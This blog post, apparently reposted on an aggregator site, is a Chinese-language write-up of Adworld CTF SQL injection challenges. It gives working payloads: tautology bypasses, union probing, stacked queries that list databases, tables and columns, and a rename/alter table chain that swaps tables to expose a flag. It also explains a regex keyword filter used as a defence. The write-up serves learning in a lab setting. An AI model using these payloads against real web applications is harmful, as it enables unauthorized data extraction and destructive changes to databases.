当前位置: 首页 > news >正文

攻防世界_SQL注入

inget

尝试万能钥匙。

输入?id=1'or'1=1#

5cf58094b2ca4d4d83ab807d0e379547.png

 

supersqli

1.找注入点

输入框

44886641dfe74930a8a3b7883c116483.png

 

2.判断字符型,数字型

输入1 and 1=1 和1 and 1=2,发现两次提交后页面一样,判断出为字符型注入

 

3.判断闭合符号

 

输入1,回显正常

输入1',报错

70a2d5e7769640d987f147427bee42df.png 

 加上注释符号#或者--+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。

输入 1#,回显正常

 

4.判断字段数量

输入1' order by 3 # ,则2个

fee7c547da684efd888c7b3c9c42d519.png

 

5.联合注入

输入1' union select 1,2 #

a56d271dbadd4432a9c58b2281c18901.png

 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

  • select|update|delete|drop|insert|where:这部分表示匹配其中的任何一个单词。| 是一个逻辑“或”操作符,意味着它会匹配它前面的或后面的任何一个模式。
  • \.:. 在正则表达式中是一个特殊字符,代表匹配任何字符(除了换行符)。为了匹配实际的点字符.,我们需要使用 \.。
  • i:这是一个修饰符,表示匹配是不区分大小写的。
  • 代码会检查$inject字符串中是否包含“select”、“update”、“delete”、“drop”、“insert”、“where”或点.(不考虑大小写)。
  • 如果匹配到任何这些模式,preg_match会返回1,表示匹配成功。如果没有匹配到,它会返回0。
  • return 关键字表示这个函数会直接返回preg_match的结果。

本行代码是关键字过滤,且无视大小写。

通过检查用户输入(这里是 $inject )中是否包含这些可能用于构造恶意SQL语句的关键字,如果包含则可能拒绝该输入或采取其他安全措施。

 

因包含select,所以要绕过,

使用堆叠注入

输入1' ; show databases; #

3727cf21b1ce4690959fa06010fb8c4b.png

 发现supersqli数据库名和题目一样,猜测有flag

输入1';use supersqli;show tables;#

b9487afd2d7d43918e475bd17b06c114.png

 有两个表,先打开看看有什么字段

(纯数字为表名要打引号)

 

查看191,输入1';use supersqli; show columns from `1919810931114514`;#

710db14f4e744ec8baacd3421e29de56.png

发现flag。 

输入1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

  •   - 1'; :闭合前面可能存在的SQL语句,并开始注入新的恶意语句。
  •   
  •   - rename tables 'words' to 'words1'; :将名为 words 的表重命名为 words1 。
  •   
  •   - rename tables '1919810931114514' to 'words'; :将名为 1919810931114514 的表重命名为 words ,这可能是攻击者事先创建的一个表,里面可能包含恶意数据或结构。
  •   
  •   - alter table 'words' change 'flag' 'id' varchar(100); :修改 words 表(此时已经是攻击者重命名后的表)中名为 flag 的列,将其重命名为 id ,并将数据类型设置为 varchar(100) 。这样做可能是为了隐藏真正的 flag 列,或者是为了后续的操作做准备,比如将恶意数据插入到该列中。
  •   
  •   - # :注释掉后面可能存在的其他SQL代码,确保注入的语句能够完整执行

  在SQL中, rename 用于更改对象的名称。

本行代码中已知表 words 为查询的默认表,则可以利用 rename 关键字将 表word改名为words,并将表 1919810931114514改名为 word,这样默认查询的表就变成了原先的 表1919810931114514,并将列 flag 改为 id,这样进行查询,用万能语句,得到flag

1' or 1=1#

f478b8a73a2c4444a00873ee0656875b.png

 

get_post

用GET方式,直接在URL输入?a=1

84386f2556c144e6adc982d92026ffd9.png

 

用POST方式,点post data,输入b=2

94d4a13ce24145ed9c2d24d855c0a87a.png

 

 

NewsCenter

(题目加载不出来,就只看了看别人的博客)

http://www.lryc.cn/news/522182.html

相关文章:

  • Ruby语言的数据结构
  • Jmeter配置服务代理器 Proxy(二)
  • Spring Boot 中实现 WebSocket 的方式
  • C语言初阶习题【29】杨氏矩阵
  • [操作系统] 深入理解操作系统的概念及定位
  • Java中对list数据进行手动分页(可直接复用版)
  • 【HarmonyOS NEXT】鸿蒙跳转华为应用市场目标APP下载页
  • 《研发管理 APQP 软件系统》——汽车电子行业的应用收益分析
  • 【IDEA 2024】学习笔记--文件选项卡
  • Android SystemUI——服务启动流程(二)
  • iOS - 内存对齐
  • 小游戏前端地区获取
  • AIGC时代:如何快速搞定Spring Boot+Vue全栈开发
  • MDX语言的多线程编程
  • Vue.js组件开发-实现输入框与筛选逻辑
  • 配置Allure环境变量【macOS版】
  • AndroidStudio升级到2024.2.2项目AGP升级8.8.0版本记录
  • Require:利用MySQL binlog实现闪回操作
  • 计算机网络 (40)域名系统DNS
  • UE5游戏性能优化指南
  • Gitlab Runner安装与配置
  • 如何有效防止和解决IP劫持问题
  • 2006-2020年各省人均水资源量数据
  • C++基础入门(二)
  • 互联网架构困境:网络与信息安全
  • HIVE技术
  • RustDesk ID更新脚本
  • 卷积神经网络的底层是傅里叶变换
  • Bootstrap 下拉菜单
  • 计算机组成原理(计算机系统3)--实验一:WinMIPS64模拟器实验